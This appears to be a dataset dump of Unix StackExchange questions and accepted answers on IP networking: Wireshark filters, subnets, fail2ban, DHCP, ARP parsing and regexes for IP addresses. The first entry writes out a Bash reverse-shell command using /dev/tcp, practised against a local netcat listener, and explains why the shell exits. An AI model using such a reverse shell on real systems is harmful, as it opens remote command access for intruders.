date
int64
1,220B
1,719B
question_description
stringlengths
28
29.9k
accepted_answer
stringlengths
12
26.4k
question_title
stringlengths
14
159
1,472,897,402,000
I've been practicing my Bash skills by creating reverse shells using various redirection operators. After having set up a nc listener: nc -lvp 4444 I run the following command: 0<&116-; exec 116<>/dev/tcp/127.0.0.1/4444 >&116 <&116 2>&116; /bin/sh What I can't explain is why the /bin/sh shell exits after the connect...
0<&116-; No idea what this is supposed to achieve, other than trigger an error (unless the fd 116 is already open, in which case it won't do anything notable, either). Confuse the reader? exec 116<>/dev/tcp/127.0.0.1/4444 >&116 <&116 2>&116; /bin/sh Even if you redirected the stdin, stdout and stderr of the curr...
Redirecting all primary file descriptors using `exec` causes the shell to exit after program exists depending on which end closes the connection?
1,472,897,402,000
Let's say my network interface is receiving too many packets and I have a single-core processor. What stops it (if anything) to keep interrupting the kernel and essentially monopolize the CPU (top-half after top-half)?
If there was too much work in a bottom half, in the form of a softirq: ksoftirqd, which runs as a kernel thread, and hence receives only its "fair" allocation of the CPU v.s. other processes. With a recent fix around 2016, specifically because of the networking case you mention. https://lwn.net/Articles/687617/ I thi...
Can a hardware generating too many interruptions monopolize a CPU?
1,472,897,402,000
I am trying to get ping to continuously write some times to a file. When I run $ ping 10 10.1.10.28 | perl -ne '/time=(\d+\.\d+)/ && print "$1\n"' It returns one number every several milliseconds: $ ping 10 10.1.10.28 | perl -ne '/time=(\d+\.\d+)/ && print "$1\n"' 191.523 312.225 127.506 However, when I redirect t...
You suffer from pipe buffering. Usually output to non interactive terminal is buffered to 4Kb blocks until delivered via pipe, so you have to disable it. You could alter your command line like this: $ stdbuf -oL ping 10.1.10.28 | perl -ne '$|=1; /time=(\d+\.\d+)/ && print "$1\n"' > file stdbuf is part of coreutils....
Force ping to write before interrupt
1,472,897,402,000
I'm using Arch Linux. Before Arch, I was using Kubuntu. I have a Intel i7 processor with 7200 RPM hard drive. When I'm installing software (not from package managers, but a big proprietary one such as Xilinx software), the cursor is completely laggy and unusable. Under Windows, even though the computer could be sluggi...
I do not believe this has anything to do with interrupts or their order. Rather you could try setting the nice value so that not all of the system's resources can be strictly used by the installation process of Xilinx. When invoking processes you can specify how "nice" or "not nice" they should be to other processes o...
Changing touchpad interrupt
1,472,897,402,000
I have made a huge mistake. I'm currently loaded into initramfs, trying to fix an error similar to this post. I decided to cat /dev/XXXX, where I'm pretty sure XXXX is the main partition where Ubuntu is installed. It's like 300+ GB. So now it's just printing constantly to the screen (mostly gibberish). I apparently h...
Normally holding the power button down for at least 4 seconds should force the power to switch off (it's implemented in hardware), but on laptops, there might be a separate "forced power off" button that needs an untwisted paperclip or a similar tool to press. Knowing the exact model of your laptop would help greatly ...
how to interrupt command initramfs
1,472,897,402,000
In fact, the message type / delivery mode of LVTERR on Intel is unconfigured. However, on AMD, it is presented as below. The problem is, when I configure the MT of LVTERR on AMD as NMI, it will keep causing APIC error. I am not sure about the exactly reason. Any help?
It is confirmed to be configurable. And below explanation is in Linux background. The project on which I am working requires configuring host LVTERR as NMI. After it had been done, the apic error message kept logging out (you can get it by adding apic=debug to cmd line). At first, I suspect it is due to the wrong conf...
Can APIC LVTERR on AMD be configured as NMI message type?
1,472,897,402,000
I know how interrupt handling works (switching mode, saving registers, changing stack ...). However, I am curious, what if an interrupt happens while we are still in kernel mode, and not in user mode?
Exactly the same. However if we are processing an interrupt then possibly nothing, or nothing until we finish. What we do in all cases: unconditionally save mode, and set mode to supervisor mode (done by hardware. Triggered by interrupt) unconditionally save state and switch stack run interrupt code unconditionally s...
Handling an interrupt while being on kernel [closed]
1,503,680,470,000
Display filter in form ip.src_host eq my.host.name.com yields no matching packets, but there is traffic to and from this host. DNS name is resolved successfully, and filters using ip addresses like ip.src eq 123.210.123.210 work as expected.
The problem might be that Wireshark does not resolve IP addresses to host names and presence of host name filter does not enable this resolution automatically. To make host name filter work enable DNS resolution in settings. To do so go to menu "View > Name Resolution" And enable necessary options "Resolve * Addresses...
How to filter by host name in Wireshark?
1,503,680,470,000
How can you determine the hostname associated with an IP on the network? (without configuring a reverse DNS) This was something that I thought was impossible. However I've been using Fing on my mobile. It is capable of finding every device on my network (presumably using an arp-scan) and listing them with a hostname...
The zeroconf protocol suite (Wikipedia) could provide this information. The best known implementations are AllJoyn (Windows and others), Bonjour (Apple), Avahi (UNIX/Linux). Example showing a list of everything on a LAN (in this case not very much): avahi-browse --all --terminate + ens18 IPv6 Canon MG6650 ...
How can you determine the hostname associated with an IP on the network?
1,503,680,470,000
I have a dedicated server with one network card in it. I however got two IP addresses. When I use the simple command sudo ip addr add 188.40.90.88 dev eth0 it fails to see it as a separate IP. I've googled along trying to find a fix, but I can't really find out what packages I need to set up a switch, and how to do i...
I'm not quite sure exactly what you're trying to accomplish. I am assuming that your question could be re-titled "How to set up two IPs on a single network interface." Each network interface on your machine is given an identifier. Typically, you start with eth0 and work your way up (eth1, eth2, eth3). These are all...
Two IPs on one NIC ( network card ) [closed]
1,503,680,470,000
For my task, I need to block some hostnames, but since some websites may reply with different IP addresses to different DNS queries (for example, Google DNS and any other DNS server), I'd like to resolve same hostname using different DNS servers to get as many possible IP addresses as possible. Can I solve this task u...
Yes you can with the tools @pawel7318 mentioned. dig dig @nameserver hostname nslookup nslookup hostname nameserver host host hostname nameserver
How can I resolve hostname to ip using different DNS servers?
1,503,680,470,000
I want to know if there's a way to check if some subnets are (or not) overlapped with a List of IPs For example, we have this List: 197.26.9.128/25 193.36.81.128/25 194.33.24.0/22 188.115.195.80/28 188.115.195.64/28 185.59.69.96/28 185.59.69.32/27 41.202.219.32/27 41.202.219.128/29 154.70.120.16/28 154.70.120.32/28 15...
Here are a few bits for you. First, a script in Bash, so not very efficient. It doesn't do exactly what you want, because it only checks one pair of subnets and reports the overlap. Below the script a few rough shell commands follow, thought the result is not presented in the form you want. So you need to integrate an...
Check overlapped subnets
1,503,680,470,000
I'm using Debian 8. How do I get my external IP address from a command line? I thought the below command would do the job ... myuser@myserver:~ $ /sbin/ifconfig $1 | grep "inet\|inet6" | awk -F' ' '{print $2}' | awk '{print $1}' addr:192.168.0.114 addr: addr:127.0.0.1 addr: but as you can see, it is only revealing...
You mean whatever routable IP your dsl/cable modem/etc. router has? You need to either query that device OR ask an outside server what IP it sees when you connect to it. The easiest way of doing that is to search google for "what is my ip" and like the calculation searches, it will tell you in the first search result...
How do I get my IP address from the command line? [duplicate]
1,503,680,470,000
According to https://networkengineering.stackexchange.com/a/57909/, a packet sent to 192.168.1.97 "doesn't leave the host but is treated like a packet received from the network, addressed to 192.168.1.97." So same as sending a packet to loop back 127.0.0.1. why does nmap 127.0.0.1 return more services than nmap 192....
In short, they are two different interfaces (192.168.1.97 vs 127.0.0.1), and may have different firewall rules applied and/or services listening. Being on the same machine means relatively little.
why `nmap 192.168.1.97` returns less services than `nmap 127.0.0.1`? [duplicate]
1,503,680,470,000
Currently I have been using iptables on a new Debian server running Asterisk. Every day I have been checking auth.log for IP addresses and manually doing iptables -A INPUT -s IPA.DRE.SS.0/24 -j DROP I was initially doing just IP addresses but many hits were coming from similar IP addresses so /24 has been working bett...
fail2ban can be configured for permanent bans by setting bantine to -1 In jail.conf bantime = -1 These will be lost on a reboot, but that's not necessarily a bad thing because so many attempts will be transient from pwned home machines in a botnet... If you want persistence, then https://arno0x0x.wordpress.com/2015/...
How to automatically permanently ban IP addresses?
1,503,680,470,000
I have a file like: http://example.mx https://test.com http://4.3.4.4 http://dev.somedomain.com http://1.3.4.2 I want to get rid of the ones with IPs so that the result should be: http://example.mx https://test.com http://dev.somedomain.com What I did is: cat in.log | sed '/^http:\/\/[0-9]/d' > out.log But it ...
But it does work. The correct answer appears to be already in your question. $ cat in.log http://example.mx https://test.com http://4.3.4.4 http://dev.somedomain.com http://1.3.4.2 $ cat in.log | sed '/^http:\/\/[0-9]/d' > out.log $ cat out.log http://example.mx https://test.com http://dev.somedomain.com $
How to remove lines containing IP address? [closed]
1,503,680,470,000
I want to run for example this command : ip addr on my remote system. I do it like this : ssh username@ip ip addr but I got this error : bash: ip: command not found when I connect to remote system and then run this command it is ok, I mean it is not caused by uninstalled package. I want to get the result without co...
easy: ssh remotehost "/sbin/ip addr" Reason, the remote shell launched by ssh command to execute ip, have not ENV or just a basic one, and ip is not in the $PATH of the remote shell. So either you specify the full path of the command, or you source a working environment in the remote shell before running command.
bash: ip: command not found
1,503,680,470,000
I created a virtual machine with a CLI iso of Lubuntu 16.04 with VirtualBox. Now I need several machines with the same characteristics (but different IPs, in order to test a C network application I wrote), so I cloned the first one. I changed the network settings of both machines so they both would have a network adap...
All I had to do was initialize a DHCP server with the proper netname (e.g. mynetwork) running the following command: $ VBoxManage dhcpserver add --netname mynetwork --ip 11.11.11.1 --netmask 255.255.255.0 --lowerip 11.11.11.3 --upperip 11.11.11.20 --enable Of course also the ips depend on what you need.
How to get different IPs on cloned machines with VirtualBox?
1,503,680,470,000
I need to parse the command arp -a to get only the ip of the device. Right now I have arp -a | awk '{print $2}' | head -1 However this gives me (192.168.1.71) and I must remove the ( ) from the output. How can this be done?
You could use the characters () as field separators instead of whitespace: arp -a | awk -F'[()]' '{print $2}' | head -1
Parse command arp -a for only ip
1,503,680,470,000
I have a file with a list of IP addresses, but some of the strings are not IP addresses and I want to replace such strings with a dummy IP address. I am using this grep to search for IP; but don't know how to replace what does not match with a dummy IP address. I believe this can be done with sed. I tried few things b...
The following answer uses awk and addresses the fact that a valid IPv4 address is not simply 4 tuples of up to 3 digits, but also the constraint on digits being smaller than 256: awk -v dummy="192.168.0.0" -F'.' 'NF!=4 {$0=dummy} NF==4 {for (i=1;i<=4;i++) {if ( !($i~/^[0-9]{1,3}$/) || $i>255) {$0=dummy;break}}} 1'...
How to replace a string that does NOT match IP address with a dummy IP address?
1,503,680,470,000
I'm trying to do an in-place replacement of an IP address in a file using sed. I know that . is a wildcard, so I've tried doing the following: sed -i -e 's/.\..\..\..\./127.0.0.1/g' /.../myfile.txt however I'm not sure how many digits each section of the IP address could be (1-3), and I'm also not sure if my escape w...
[0-9] matches any digit. [0-9]\{1,3\} matches between 1 and 3 digits (note that this will accept leading zeroes. Therefore, sed -i -e 's/[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}/127.0.0.1/g' /.../myfile.txt should do roughly what you want. It will match some invalid addresses, but will probably do the j...
Sed: Replace ANY IP address with 127.0.0.1 [duplicate]
1,503,680,470,000
When assigning an ip address to a network interface with ip addr add noprefixroute, what effect will the specified prefix length have? When noprefixroute is not used, the prefix length is used to automatically create and delete a route for the network prefix of the added address. Does it have any function other than t...
Indeed there doesn't appear to be much useful difference, but there's at least one: the way a secondary address is handled won't change, whether a route is added or not. When a 2nd address is added to the same interface as an other address with the same netmask within the same network, it's classified as a secondary a...
Meaning of prefix length with ip addr add noprefixroute
1,503,680,470,000
I need to be able to validate a group of IP addresses that will appear in a file that looks like this: IP_SUBNETS=['10.1.111.0','10.2.111.0','10.2.123.0'] I'd like to write a regular expression that will allow n number of ip addresses, as long as they are delimited by "," and have single quotes around them, and the e...
Something like this works here: busybox grep -E '^\[(([0-9]{1,3}\.){3}[0-9]{1,3},)*([0-9]{1,3}\.){3}[0-9]{1,3}\]$' (busybox isn't my default grep, hence the "busybox" prefix). That should mostly validate your list, though it isn't perfect. E.g., it'll accept 300.1.2.4 as a valid IP address. The regexp to fully valida...
busybox regular expression for group of IP addresses
1,503,680,470,000
I was quite curious how does Apache web server can detect a subdomain even when all the subdomains point to same IP address, since my understanding is that an IP address that cannot have a subdomain, and every domain name ultimately resolve to an IP address. Example: example1.domain.com resolves to => 192.24.17.65 tak...
It is indeed true that in the early years of the web, hosting multiple websites (different domains, subdomains of a single domain, etc) off a single IP was infeasible. However, in 1999, the transition to HTTP 1.1 began, and today HTTP 1.0 is rarely used (in fact HTTP 2 has become widespread but 1.1 is still common). H...
How does Apache webserver is able to detect CNAME
1,503,680,470,000
I use this command to get the name of my network interfaces and their mac address ip -o link | awk '$2 != "lo:" {print $2, $(NF-2)}' | sed 's_: _ _' out: enp2s0 XX:XX:XX:XX:XX:XX wlp1s0 YY:YY:YY:YY:YY and this one to get the IP: ip addr show $lan | grep 'inet ' | cut -f2 | awk '{ print $2}' out: 127.0.0.1/8 192.168...
In bash this works: paste <(ip -o -br link) <(ip -o -br addr) | awk '$2=="UP" {print $1,$7,$3}' but it relies on the ip output being in the same order for link and addr. To be sure, you could use join with sort instead: join <(ip -o -br link | sort) <(ip -o -br addr | sort) | awk '$2=="UP" {print $1,$6,$3}' In sh c...
how do i get interface name, ip and mac from active interface only (except lo)
1,503,680,470,000
I heard that a guest OS and a host OS in KVM can communicate via having network interfaces or IP addresses in the same private network. I also heard that You can see its IP addresses and network interfaces in the container and VM networks in ifconfig’s output. I show the outputs of ifconfig in a guest OS and a hos...
Your guest has one non-loopback interface, ens3; that’s the interface it uses to communicate with the host. On the host, the matching interface is the interface in the same network, which is virbr0 here. If you want to list the interfaces which are part of the bridge, run brctl show virbr0 on the host. You can also m...
Which network interface or IP address in the guest OS corresponds to which in the host OS?
1,503,680,470,000
I need to process information dealing with IP address or folders containing information about an IP host. I need a pattern that can identify (match) IP addresses, whether an actual url, name of folder or data file . For example 127.0.0.10 127-0-0-10 127_0_0_10 should all match. above. Is there any tokenizer regex to...
The following regex seems to accomplish what you need: \b(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9]?[0-9])[-._](25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9]?[0-9])[\-._](25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9]?[0-9])[\-._](25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9]?[0-9])\b $ cat test.txt 127.0.0.10 127-0-0-10 127_0_0_10 256_5_10_1 1...
How to detect dot (.), underscore(_) and dash(-) in regex [closed]
1,503,680,470,000
I am trying to replace an IP address in a dnsmasq logfile with its hostname. The logfile is being 'watched' with the command 'tail -f /var/log/dnsmasq.log' on the console and I want to pipe the output into sed to replace the IP address with the hostname on ONLY the lines that contain the text 'query'. The IP address i...
Unfortunately sed cannot run external commands while also passing in parameters taken from its input. This is a Bash script solution that should do for you: tail -f dnsmasq.log | { while IFS= read -r line ; do { [[ "${line}" =~ ": query[A]" ]] && printf '%s %s\n' "${line% *} " $(dig +short -x "${line##* }"); } || echo...
Use sed to replace IP address with hostname in log output
1,503,680,470,000
ip a | egrep '([0-9]{1,3}\.){3}[0-9]{1,3}' Can somebody explain what the above command will do?
It first runs the ip command with the a argument, which, on Linux, is short-hand for ip address, which will output several stanzas of several lines corresponding to your network devices and their possible network addresses. That output is then sent to the egrep command, which is asked to match (print) lines of its inp...
what does the following egrep command do in combination with the "ip a" command?
1,503,680,470,000
I am using latest Arch Linux. But whenever I start my PC, it sometimes gets an IP address but most of the time, it gives me stress. I am getting very confused, how can I make sure it is really setting DHCP IP? This is what I have: In rc.conf: DAEMONS=( ... network dhcpcd ) On system boot I have in ~/.xinitrc ip link ...
Some notes on your question, maybe it helps, hopefully: ~/.xinitrc is not the right place for these settings, see for example here, in the "ArchWiki" Don't fight your distribution, ArchLinux's system startup is configured via /etc/rc.conf, which is pretty neat. This includes the network configuration, see again the A...
How to set IP address automatically in Arch Linux?
1,503,680,470,000
I can print address' label via ip addrlabel and override label and precedence in /etc/gai.conf, but how to print current precedence in command line? In https://man7.org/linux/man-pages/man8/ip-addrlabel.8.html, it says Precedence is managed by userspace, and only the label itself is stored in the kernel. but how to ...
You can't print the current address precedence on Linux, unfortunately. The default is hardcoded in glibc², possibly reflected by the comments in /etc/gai.conf, and possibly successfully overwritten with that same file. (By the way: source address selection is done by the kernel, destination address selection by glibc...
Is there way to print IPv6 address selection precedence in command line?
1,503,680,470,000
Are docker0, lo and virbr0 are virtual network interfaces? Why are docker0 and virbr0 assigned private not loopback IP address? If private IP address can work like a loopback address, can lo be assigned a prviate instead of loopback IP address? Loopback addresses are 127.*.*.*. Do they always form a network instead o...
What constitutes a “network” (a set of endpoints which are reachable without the help of routers) is determined by the netmask here. Thus docker0 is on the 172.17.x.x network (and can talk to any 172.17.x.x endpoint in the same layer 2 network), lo is on the 127.x.x.x network, virbr0 is on the 192.168.122.x network (a...
Why is some virtual network interface assigned private IP address, while some is assigned loopback IP address?
1,503,680,470,000
I'm having hard time reading the output of ip a command. Normally it prints something like this: 3: enp0s25: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master br0 state UP group default qlen 1000 link/ether aa:bb:cc:dd:ee:ff brd ff:ff:ff:ff:ff:ff Which is fine. But inside the LXC container (not a...
You have interfaces that are part of separate macvlans. The output of ip listed above indicates that your host has two interfaces configured such that each interface, eth0@if12 and eth1@if14 are each a member of a separate macvlans configured in bridge mode (one physical interface to multiple virtual network interface...
ip address "@" (at) in output
1,503,680,470,000
I have a file with IP and port numbers. I would like to take out the port number and leave the IP alone. xyz 10.93.10.13:58160). xyz 10.93.10.13:58161). xyz 10.18.104.181:12466). xyz 10.93.10.13:60585). wxy 10.93.10.13:60586). wxy 10.93.10.13:60587). ADMIN loopback[127.0.0.1]:33955). ADMIN loopback[127.0.0.1]:33957)...
First, useless use of cat. Secondly, grep only searches; it does not change anything. You want sed here: $ sed -E 's/:[0-9]+.*/ /' input xyz 10.93.10.13 xyz 10.93.10.13 xyz 10.18.104.181 xyz 10.93.10.13 wxy 10.93.10.13 wxy 10.93.10.13 ADMIN loopback[127.0.0.1] ADMIN loopback[127.0.0.1] ADMIN loopback[127.0.0.1] ADM...
Substitute numbers in a random IP address port with space
1,494,018,266,000
I have tried using nc to chat and transfer files over my local network. However, I am having trouble doing it over internet (with my friend). While doing it locally, i would be using ifconfig to view my ip address. I see only one ipv4 address. I am pretty sure this address cannot be used to connect to my friend, as I ...
The IP address you see using ifconfig is your IP address for your local network only. It is a private address (192.168, right?) and can not be used to communicate over the internet. Your router performs Network Address Translation to convey data between sites you visit and your computer. What you and your friend would...
Chat with friend using netcat
1,494,018,266,000
I was following this tutorial to the letter and when I entered my domain name in the browser, I get my page. Except the fact that the browser never masks the domain to www.example.com, instead it changed the domain I just entered and showed me the subfolder preceded by the IP address, for example: 211.232.01.23/websit...
Please put .htaccess file under public_html folder with below code : # BEGIN WordPress <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> # END WordPress Then try to acc...
Apache httpd on CentOS doesn't mask IP to domain
1,494,018,266,000
as described in the title, sorry I wanted to have a specific title and I could not get it specific and short and the same time, I did the following: Flashed a SD Card with OpenWRT to test it on a Raspberry Pi. OpenWRT has dhcp client disabled and puts a static IP in that image that does not correspond to my network I...
Simply: this is achieved by the ability of the OS to assign several IPv4 addresses to the same interface and by the use of routing tables and ARP - The Address Resolution Protocol. When a node (A) wants to talk to another node (B) knowing initially only the IPv4 address of B, first it consults its routing tables to fi...
Changed my IPv4 to ssh into OpenWRT on rpi2 - did dhclient on my host afterwards- Now I have two IPv4 on one NIC - and it works! How?
1,494,018,266,000
I have set of servers which are moving to another network. I have a file which has hostnames and corresponding new IP addresses . I looked across how to achieve this using Ansible but that requires unique playbook for each server. Tried to script it but same issue. Can someone suggest eg. how to change the IP address ...
Say we have serverA, serverB and serverC in our inventory. They need new IP adresses. So the first step is to create a file in your host_vars directory named like your server, and write the new IP adress as a variable into that. Example with file host_vars/serverA: new_ip: 10.1.0.27 Do the same for serverB and server...
Changing ip addresses of multiple servers
1,494,018,266,000
I created a ping sweep program that saves gotten IP to a file called hosts. Then, I wanted to delete my own IP address from the file without knowing what my IP address is, so I tried doing the following: alias ownip='hostname -I' sed ownip ./host This did not work, resulting in the following error: sed: -...
If the input "host" file is just a file where each line is an IP address and you want to remove all IP addresses output by hostname -I from this file, try this: sed -i "$(hostname -I | sed 's/\([.:[:xdigit:]]\{1,\}\)/\/\1\/d;/g')" ./host The sed inside the command subsitution that hostname is piped to just converts t...
deleting alias from file using sed
1,494,018,266,000
I have been trying to configure the static IP addresses with Ubuntu 16.04 Dabian version. The network as follows in the graph I have been failing to ICMP (ping echoing) between the Client and the HTTP server. Is there a way I can connect both of the Server and Client through the router 192.168.1.11 and 192.168.1.12? ...
Let me quickly explain how VLANs work on the wire: A normal ethernet packet does not have a special field for the VLAN id. VLAN packets, on the other hand are a later extension that uses a new packet format which consists of all fields of the old format plus the additional tag, as definined in 802.1Q. So on the same w...
Network Interface VLAN static addressing
1,494,018,266,000
I have to find the ipv4 in a file.The problem is if there are other words on the same line as the IP the script wont print it.Here is my script: #!/bin/bash if [ -e ip.txt ] then grep -E '^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$' ip.txt else ec...
Remove ^ and $ from the command and use -o flag of grep command i.e.: grep -Eo '(^| )(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])($|[[:space:]])' Example: echo 'some text 198.54.34.6 and test' | grep -Eo '(^| )(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])...
grep finding ipv4 as words instead of lines
1,494,018,266,000
Is there a way to write something (in this case an external IP) with date & time and append it to a file? Is it possible to do it in one line? I can do this: curl ipinfo.io/ip >> ip.log Which gives me this: $ cat ip.log X.X.X.X However, I would like the log to read: IP: X.X.X.X - 09/28/2017 IP: X.X.X.X - 09/29/2017 ...
printf "IP: %s - %s\n" $(curl --silent ipinfo.io/ip) $(date +"%m/%d/%Y") To have Time in the result, simply add %T shortened of %H:%M:%S. printf "IP: %s - %s\n" $(curl --silent ipinfo.io/ip) $(date +"%m/%d/%Y-%T") Just add this in crontab to get your desired output. 0 0 * * * printf "IP: %s - %s\n" $(curl -s ipinfo....
Single line command for logging IP
1,494,018,266,000
I having a hard time understanding IP subnetting for /16 mask. I went through some tutorials and understood the host part and non-vlsm but with vlsm and dividing into equal parts, is something I am not sure yet. Especially for the below sample, if someone can help me with the output, I will be able to deduce the expl...
It is impossible to divide 65536 addresses into 5 equal parts, since 65536/5 = 13107.2 and you can't have a "one-fifth address".
IP Subnetting /16 into 5 equal parts [closed]
1,494,018,266,000
I have a list of subnets in a file. I just need to extract those subnets which have common octet as mentioned. I tried using grep "grep -oP '1.[^"]+' but still I got some different results. for example I have a log as. 1.1.1.0/24 2.74.2.0/24 11.2.1.0/24 1.9.55.0/24 I just want to extract the subnet having common fi...
This will do what you want: grep '^1\.' filename The ^ symbol indicates the beginning of the line, and \. means literal dot.
Extract all subnets from its first common octet
1,494,018,266,000
Using one Ubuntu machine with one physical NIC, I want to make it seem that there are two or more additional machines on my real network, all controlled by this one Ubuntu machine. For example, I have a 192.168.1.x network. My Ubuntu machine has an IP of 192.168.1.10 with a mac address of 00:11:22:33:44:55. I want to ...
I have a system with address 192.168.1.175: # ip addr show eth0 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000 link/ether 2c:f0:5d:c9:12:a9 brd ff:ff:ff:ff:ff:ff altname eno2 altname enp0s31f6 inet 192.168.1.175/24 brd 192.168.1.255 scope global dyna...
Unique Mac address for Secondary IP address?
1,494,018,266,000
I am new to linux and have been trying to connect ssh for a whole day but it is just not working: I am using VMware to host virtual linux. Initially I discovered that my virtual linux is not on the same ip as my Windows, where My Windows ip address is:192.168.1.79, so I changed my internet configuration of Linux to t...
The easiest solution would be to stick with standard setup and have your Linux VM obtain its IP address automatically via DHCP. That way, VMware (in NAT mode) or your router or DHCP server (in bridged mode) will take care of setting an IP address, netmask and default gateway that will allow the VM to communicate. If f...
Linux Ping not working and ssh cannot connect to linux
1,494,018,266,000
What IP address(es) can't be bound to a listening socket? For example, can a server process bind 255.255.255.255 to a listening socket? Thanks.
From Linux bind(2) man page: It is normally necessary to assign a local address using bind() before a SOCK_STREAM socket may receive connections (see accept(2)). The rules used in name binding vary between address families. Consult the manual entries in Section 7 for detailed information. For AF_INET, see ip(7); ...
What IP address(es) can't be bound to a listening socket?
1,494,018,266,000
My MacOS laptop does not have a static Public IP. I just connect to the Internet on my MacOS Laptop using a wifi connection. There is a server having static non-changing IP in another country that needs to connect to my Laptop using ssh and perform some tasks. How can I get my MacOS Laptop IP from the command line tha...
You need a reverse tunnel. In the following example, you will forward local port 22 from your MacOS laptop, to port 2222 on remote server. Assuming that remote server has a static IP address of X.X.X.X, you can create a reverse tunnel using following command from your laptop: ssh -fnN -R 2222:localhost:22 [email prote...
How can I find IP address of my MacOS Laptop that others can ssh connect to?
1,494,018,266,000
I have a comma seperated list of IP addresses in a text file like this: 192.xxx.xxx.xxx,213.www.www.www,255.yyy.yyy.yyy Can I block my Ubuntu 19 from connecting to those IP addresses? If yes, How?
First of all, packet filters such as Linux iptables cannot block or allow traffic by hostname(s) or domain. Packet filters only understand IP addresses. Secondly, FirewallD cannot filter outbound traffic, unless you hack it. Therefore you must simply use iptables. You must first resolve all the hostnames contained in...
How can I restrict my computer's ability to connect to other ip's
1,494,018,266,000
I do want to do symlinks like pxelinux can, just with grub2. But I cant figure out how. The goal is to have different config-files which I can dynamicly pass to an IP. Grub2 does work so far but I cant give an IP another config file, it always takes the grub.cfg. I tried also grub.cfg-IP -> another config file -> is a...
PXELINUX is not "doing symlinks": it's just downloading a configuration file whose name includes the client's IP or MAC address or part of it. The fact that the matching file happens to be a symlink is entirely between you and your TFTP server that provides the file to PXELINUX. Note that unlike PXELINUX, GRUB only lo...
Symlinks with grub2 like pxelinux
1,494,018,266,000
I'm trying to reverse lookup a list of hostnames to find their IPs and write to a file. I'm referring to this tutorial and expand on it to work with a list of hostnames. I'm new to Bash scripting and here's what I came up with which does not print as desired, for name in hostA.com hostB.com hostC.com; do host $nam...
Use dig: for host in hostA.com hostB.com hostC.com do # get ips to host using dig ips=($(dig "$host" a +short | grep '^[.0-9]*$')) for ip in "${ips[@]}"; do printf 'allow\t\t%s\n' "$ip" done done > allowedip.inc Output: $ cat allowedip.inc allow 64.22.213.2 allow 67.225.218.50 ...
Looking up IPs and writing to file in Bash
1,494,018,266,000
What are the rules that decide what goes into the initial /etc/hosts file of a a server with these characteristics? It has a internal IP address for the internal subnet. which is in the 172.20.x.x range It has a public facing IP address which has a 1 to 1 mapping with the internal IP address ifconfig only shows the ...
first rule syntactically correct second rule logically true third rule depends on your distro. I'd expect an entry for localhost and possibly for the system's hostname. localhost may be an ipv6 entry (::1) in which case there may be an additional entry for ipv4-localhost What you should you put in the hosts file is ...
What are the rules that determine the default contents of an /etc/hosts file?
1,494,018,266,000
If I issue traceroute I see my server IP (213.79.101.145): traceroute to google.com (108.177.14.138), 30 hops max, 60 byte packets 1 213.79.101.145 (213.79.101.145) 10.660 ms 10.630 ms 10.655 ms ... 15 * * lt-in-f138.1e100.net (108.177.14.138) 19.682 ms But if I issue route -n I don't see it: Kernel IP routing...
213.79.101.145 will be the wan address of your router and the first hop with its lan address being 192.168.60.1. I assume your server is also the router and that it is using PPPoE to get its wan IP address. I also assume you are with the Russian ISP COMCOR. Alternatively, That IP address is at the other end of the PPP...
Why I see IP in traceroute not in ifconfig, netstat etc
1,494,018,266,000
Assume that shorewall rules config contain ACCEPT net:1.234.5.253 all tcp 3306 ACCEPT net:1.234.5.2 all tcp 80 ACCEPT net:1.234.5.2 all tcp 80 ACCEPT net:1.2.3.4,1.234.5.22,1.1.1.1 all tcp 3306 I want replace them with ansible - name: Replace old ips in /etc/shorewall/rules replace:...
In the example you provide, you could use anchors: - name: Replace old ips in /etc/shorewall/rules replace: path: /etc/shorewall/rules regexp: '(\D){{ oldip }}(\D)' replace: '\1{{ newip }}\2' backup: 'yes' Search for a non-digit, followed by the old IP, followed by another non-digit. Replace with th...
Ansible - Change Exact IP address
1,494,018,266,000
I have set up a DHCPD service on a Linux server, which shall provide fixed public IP addresses for cable modem devices based on MAC addresses. Here is the configuration file of the DHCPD. The server's IP address is 212.200.200.34 (it has only one interface) and the CMTS has the IP address 172.30.30.2. The CMTS and the...
Alright, I had two ways now to do it: Either add another NIC to the machine with an IP of the second IP range or try to get a bigger IP range (/26 instead /27). First, I tried it with the second NIC, which worked out fine. Later on I received a /26 net and reconfigured everything, so all CMs are in the same net. Both ...
DHCPD with two different ranges
1,494,018,266,000
I am using Red Hat Enterprise 6 and I'm trying to search through the /etc/ directory for files that contain any IPv4 address.
Sure: grep -lrE '([0-9]{1,3}\.){3}[0-9]{1,3}' /etc -l means list only matching files -r is recursive -E is extended regex Regex taken from https://unix.stackexchange.com/a/296597/243015
How do I use grep to output only the names of files that contain any ipv4 address
1,494,018,266,000
I have the following file.txt that follows the same pattern and I want to modify it where this file is by adding an ip: # gfhfhgfh gfhfghgfhgfhgfh MACs # access USER CONSOLA *,!10.249.247.3,!10.249.245.65 /bin/false I want to add an ip in the end of the line that contains as patron USER CONSOLE: USER CONSOLA *,!10...
Match at the start of the line (^ anchor) and substitute the new text at the end of the line ($ anchor): $ sed '/^USER CONSOLA/ s/$/,!10.10.11.1/' file.txt # gfhfhgfh gfhfghgfhgfhgfh MACs # access USER CONSOLA *,!10.249.247.3,!10.249.245.65,!10.10.11.1 /bin/false If your file has Windows/DOS style CRLF line endings...
Enter IP at the end of a specific line [closed]
1,427,279,151,000
I have a Strongswan installation on CentOS7 connecting to a Palo Alto router. I have no access to the config on the remote router. I want to configure two subnets on the other side - one is only a single IP. I have this config in ipsec.conf: conn %default keyexchange=ikev2 authby=secret conn net-net ...
